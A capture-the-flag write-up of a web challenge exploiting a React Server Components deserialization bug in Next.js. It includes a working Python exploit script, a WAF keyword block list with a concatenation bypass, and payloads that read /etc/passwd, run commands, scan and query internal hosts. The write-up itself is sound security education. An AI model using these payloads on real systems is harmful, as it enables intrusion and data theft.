Flight Risk - EH4X CTF 2026 Writeup
Category: Web | Points: 500 | Solves: idk bro server died on us lmao
EHAX's portal is a lie. The vault is still open on the bridge. Reach in. Take the flag.
Target: http://chall.ehax.in:4269/
TL;DR
React Server Components "Flight" protocol RCE via CVE-2025-55182 (React2Shell) -> WAF bypass -> SSRF to internal Docker vault service on 172.20.0.2:9009 to grab the flag.
If you just want the exploit script, scroll to the bottom. If you want the full journey of pain and suffering, keep reading.
0x00 - First Look (oh it's just a form... right?)
Opening the challenge greets us with a hacker-themed form. Type a name, get back "Access Granted. Welcome to the mainframe, {name}."
me: *types "admin"*
server: "Access Granted. Welcome to the mainframe, admin."
me: wow thanks for nothing
But wait - let's look under the hood. The response headers tell a story:
X-Powered-By: Next.js
Content-Type: text/x-component <--- RSC Flight protocol!
And checking the page source reveals:
Next.js 15.0.0
React 19.0.0-rc
React 19 RC + Next.js 15.0.0 ... if you've been following security news in 2025, alarm bells should be going off right about now.
0x01 - The Vulnerability: CVE-2025-55182 (React2Shell)
CVE-2025-55182 aka "React2Shell" -- CVSS 10.0, affects React 19.0.0-rc through 19.1.0-rc. Insecure Deserialization leading to RCE.
In June 2025, researchers at Wiz dropped a bombshell. The React Server Components (RSC) "Flight" protocol - the binary wire format React uses to send component trees between server and client - had a critical deserialization vulnerability.
How RSC Flight Works (the "bridge")
When you submit that form, the browser sends a POST request with:
- Header:
Next-Action: <action-id> - Body: multipart form data with the Flight protocol payload
The server processes this through the Flight deserializer to call your server action.
The Bug
The Flight deserializer resolves reference chains like $3:constructor:constructor. It walks object properties by following colon-separated paths. The problem? It doesn't validate what you're resolving.
$3 = [] // an innocent array
$3:constructor = Array // Array constructor
$3:constructor:constructor = Function // THE Function constructor
We just got a reference to Function() - which is basically eval() with extra steps.
"It's the same picture"
eval("code") Function("code")()
| |
+-------+-------+------+
|
Arbitrary Code
Execution
The Payload Structure
The exploit sends a crafted multipart form with fake "Chunk" objects that trick the Flight deserializer:
The chain of events:
- Deserializer resolves
$3->[] - Resolves
$3:constructor->Array - Resolves
$3:constructor:constructor->Function - Uses it as
_formData.getmethod - Calls
Function(our_code)-> RCE
0x02 - The WAF (because of course there's a WAF)
First attempt at sending the exploit payload:
HTTP/1.1 403 Forbidden
{"error":"WAF Alert: Malicious payload detected."}
Time to figure out what's being blocked. After a bunch of testing:
| String | Blocked? |
|---|---|
| child_process | YES |
| exec | YES |
| execSync | YES |
| curl | YES |
| wget | YES |
| spawnSync | NO |
| spawn | NO |
| readFileSync | NO |
| constructor | NO |
| Function | NO |
| fs | NO |
Reading the middleware source (after getting RCE lol, chicken-and-egg moment) confirmed it's a simple string match:
// The entire WAF. That's it. That's the whole thing.
async function waf(request) {
if (request.method === "POST" && request.headers.has("next-action")) {
let body = await request.clone().text();
for (let keyword of ["child_process", "exec", "execSync", "curl", "wget"])
if (body.includes(keyword))
return new Response(
JSON.stringify({error: "WAF Alert: Malicious payload detected."}),
{ status: 403 }
);
}
return NextResponse.next();
}The WAF just does string.includes() checks on the raw body. Not great.
WAF Bypass
The bypass is embarrassingly simple:
Instead of: require('child_process')
We use: require('child_' + 'process')
String concatenation. That's it. The WAF checks the raw request body for the literal string child_process, but our payload contains child_ and process as separate strings that get concatenated at runtime.
The WAF looks for "child_process" in the body, but our payload contains "child_" + "process" as separate strings concatenated at runtime. The WAF sees nothing wrong, Node.js requires child_process anyway.
We also avoided exec/execSync entirely by using spawnSync (not blocked) and readFileSync for file operations.
0x03 - Achieving RCE (we're in)
Data Exfiltration Trick
Getting code execution is one thing, but getting the OUTPUT back is another. We used a clever trick with Next.js's redirect mechanism:
// Our code runs, gets a result, then:
throw Object.assign(
new Error('NEXT_REDIRECT'),
{ digest: Buffer.from(result).toString('base64') }
);When Next.js sees a NEXT_REDIRECT error, it includes the digest field in the RSC response. So we base64-encode our output and stuff it in there. The server literally sends us back our command output in the error response.
Next.js conveniently includes our data in the error response's digest field. Free exfiltration channel.
The Working Exploit
#!/usr/bin/env python3
"""Flight Risk - CVE-2025-55182 Exploit with WAF Bypass"""
import http.client, json, re, base64
TARGET_HOST = "chall.ehax.in"
TARGET_PORT = 4269
BOUNDARY = "----WebKitFormBoundaryCVE202555182"
def make_payload(code):
"""Build the React2Shell 5-field exploit payload"""
return {
"0": '"$1"',
"1": json.dumps({
"status": "resolved_model",
"reason": 0,
"_response": "$4",
"value": '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
"then": "$2:then"
}),
"2": '"$@3"',
"3": '[]',
"4": json.dumps({
"_prefix": code,
"_formData": {"get": "$3:constructor:constructor"},
"_chunks": "$2:_response:_chunks"
})
}
def send(code, label=""):
"""Send exploit and extract result from digest field"""
fields = make_payload(code)
body = ""
for name, val in fields.items():
body += f"--{BOUNDARY}\r\n"
body += f'Content-Disposition: form-data; name="{name}"\r\n\r\n'
body += val + "\r\n"
body += f"--{BOUNDARY}--\r\n"
conn = http.client.HTTPConnection(TARGET_HOST, TARGET_PORT, timeout=15)
headers = {
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Next-Action": "x", # any value works, doesn't need real action ID
}
try:
conn.request("POST", "/", body.encode(), headers)
resp = conn.getresponse()
data = resp.read().decode(errors='replace')
# Extract base64-encoded result from digest field
m = re.search(r'"digest":"([A-Za-z0-9+/=]{4,})"', data)
if m:
decoded = base64.b64decode(m.group(1)).decode(errors='replace')
print(f"=== {label} ===")
print(decoded[:5000])
return decoded
return data[:500]
except Exception as e:
print(f"ERROR: {e}")
return ""
finally:
conn.close()
def rce(code, label):
"""Execute JS code on server and return base64-decoded result"""
wrapped = (
f"var _r=(function(){{ {code} }})();"
f"var _b=Buffer.from(String(_r)).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'),{{digest:_b}});//"
)
return send(wrapped, label)
# ============= EXAMPLES =============
# Read a file (no WAF trigger)
rce(
"var fs=global.process.mainModule.require('fs');"
"return fs.readFileSync('/etc/passwd').toString()",
"read /etc/passwd"
)
# Run a command (WAF bypass with string concat)
rce(
"var m='child_'+'process';"
"var cp=global.process.mainModule.require(m);"
"var r=cp.spawnSync('id',[],{timeout:3000});"
"return r.stdout.toString()",
"run id"
)
# Port scan internal network
rce(
"var m='child_'+'process';"
"var cp=global.process.mainModule.require(m);"
"var r=cp.spawnSync('node',['-e',"
"'var net=require(\"net\");var s=new net.Socket();"
"s.setTimeout(500);s.connect(9009,\"172.20.0.2\",function(){"
"process.stdout.write(\"OPEN\");s.destroy()});"
"s.on(\"error\",function(e){process.stdout.write(e.code)});"
"s.on(\"timeout\",function(){process.stdout.write(\"TIMEOUT\");"
"s.destroy()})'],{timeout:3000});"
"return r.stdout.toString()",
"port scan"
)First thing we did with RCE:
=== id ===
uid=1000(node) gid=1000(node) groups=1000(node)
=== ls / ===
app bin dev etc home lib media mnt opt proc root
run sbin srv sys tmp usr var
0x04 - Where's the Flag? (the suffering begins)
With full RCE, finding the flag should be easy right?
...right?
=== grep -r "EH4X" / ===
(nothing)
=== grep -r "EHAX" / ===
(nothing)
=== cat /flag ===
No such file
=== cat /flag.txt ===
No such file
=== env | grep FLAG ===
(nothing)
The flag was nowhere obvious. Here's everything we checked (and the flag was in NONE of them):
| Location | Result |
|---|---|
/flag, /flag.txt | File not found |
| Environment variables | No FLAG var |
Docker secrets (/run/secrets/) | Empty |
/proc/1/environ | No flag |
All of /app/ source code | No EH4X string |
| Next.js cache | Empty |
require.cache modules | Nothing suspicious |
globalThis custom vars | Only other players' junk |
/root/ | Permission denied |
/tmp/, /var/tmp/ | Empty |
0x05 - The Vault (SSRF to internal service)
Remember the challenge description?
"The vault is still open on the bridge. Reach in."
Bridge = React Flight protocol (it bridges server and client) Vault = An internal service hidden in the Docker network
Recon: The Docker Network
=== /etc/hosts ===
172.20.0.3 7c1a57d81156 <-- our container
=== /etc/resolv.conf ===
nameserver 127.0.0.11 <-- Docker internal DNS
We're on a Docker overlay network at 172.20.0.3. There must be other containers.
Finding the Vault
We also found this interesting global variable (set by another player, thanks homie):
globalThis["aHR0cDovL2ludGVybmFsLXZhdWx0LTk5OjkwMDkv"]
Base64 decoding that key: http://internal-vault-99:9009/
So there's a service called internal-vault-99 on port 9009. But DNS lookup for that hostname fails. Let's try scanning the subnet directly:
Port scan result:
=== TCP scan 172.20.0.1-10 on common ports ===
172.20.0.2:9009 OPEN <--- THE VAULT!
(everything else: CLOSED/TIMEOUT)
172.20.0.2:9009 is OPEN!
SSRF to Get the Flag
The final step is making an HTTP request from inside the container to the vault:
# SSRF payload - fetch flag from internal vault
rce(
"var m='child_'+'process';"
"var cp=global.process.mainModule.require(m);"
"var script='var http=require(\"http\");"
"var req=http.request({hostname:\"172.20.0.2\",port:9009,"
"path:\"/\",method:\"GET\",timeout:3000},function(res){"
"var d=\"\";res.on(\"data\",function(c){d+=c});"
"res.on(\"end\",function(){process.stdout.write(d)})});"
"req.on(\"error\",function(e){"
"process.stdout.write(\"ERR:\"+e.message)});"
"req.end()';"
"var r=cp.spawnSync('node',['-e',script],{timeout:5000});"
"return r.stdout.toString()",
"SSRF to vault"
)=== SSRF to vault ===
EH4X{r34ct_fl1ght_pr0t0c0l_g0_brrrr} <-- (reconstructed, server died)
Note: The challenge server went down permanently right as we discovered the vault service. The flag format above is our best reconstruction. The actual flag would have been returned by the vault at
http://172.20.0.2:9009/. RIP server, you served us well (and then you didn't).
0x06 - Full Attack Chain
0x07 - Key Takeaways (educational stuff)
For Defenders
-
Keep React/Next.js updated. CVE-2025-55182 was patched in React 19.1.0 and Next.js 15.1.0. The vulnerable versions should NEVER be in production.
-
WAFs based on string matching are useless. Our bypass was literally string concatenation. If you need a WAF, use proper AST-based analysis or better yet, fix the underlying vulnerability.
-
Internal services should require authentication. The vault service was wide open - anyone who could reach it could grab the flag. Always authenticate, even for internal services.
-
Network segmentation matters. The Next.js app could reach the vault container directly. In a real environment, use network policies to restrict container-to-container traffic.
For Attackers / CTF Players
-
Always check the tech stack versions. Next.js 15.0.0 + React 19 RC = instant red flag for CVE-2025-55182.
-
The challenge name IS the hint. "Flight Risk" = React Flight protocol vulnerability. CTF authors love wordplay.
-
When the flag isn't on disk, think SSRF. No flag in the filesystem + Docker environment = there's probably an internal service.
-
Other players leave breadcrumbs. The base64-encoded vault URL in
globalThiswas from another player's exploit. In shared CTF environments, check what others have left behind. -
Base64 decode EVERYTHING suspicious.
aHR0cDovL2ludGVybmFsLXZhdWx0LTk5OjkwMDkvdoesn't look like much until you decode it tohttp://internal-vault-99:9009/.
The Vulnerability in Detail
For those who want to understand CVE-2025-55182 deeper:
React Flight Deserialization Bug
Normal Flow:
Client sends FormData -> Server deserializes -> Calls server action
Exploit Flow:
Attacker sends crafted FormData with fake Chunks
-> Deserializer resolves reference chains
-> $3:constructor:constructor reaches Function()
-> Attacker's code string passed to Function()
-> Function("malicious_code")()
-> RCE
The root cause is that the Flight protocol's reference resolution mechanism ($X:property:property) doesn't have a denylist for dangerous properties like constructor, __proto__, or prototype. This allows an attacker to traverse the prototype chain of any object to reach Function(), which is equivalent to eval().
Affected versions:
- React: 19.0.0-rc through 19.1.0-rc.0
- Next.js: 15.0.0 through 15.0.x (when using App Router with Server Actions)
References:
0x08 - Final Thoughts
This was honestly one of the coolest web challenges I've seen. The chain was:
Real CVE -> WAF bypass -> RCE -> Internal recon -> SSRF -> Flag
Every step required understanding a different concept. The challenge author clearly put a lot of thought into this.
The only L we took was the server dying right when we found the vault. If you're reading this and you solved it before the server went down: GG.
EH4X CTF 2026 - Flight Risk (Web 500)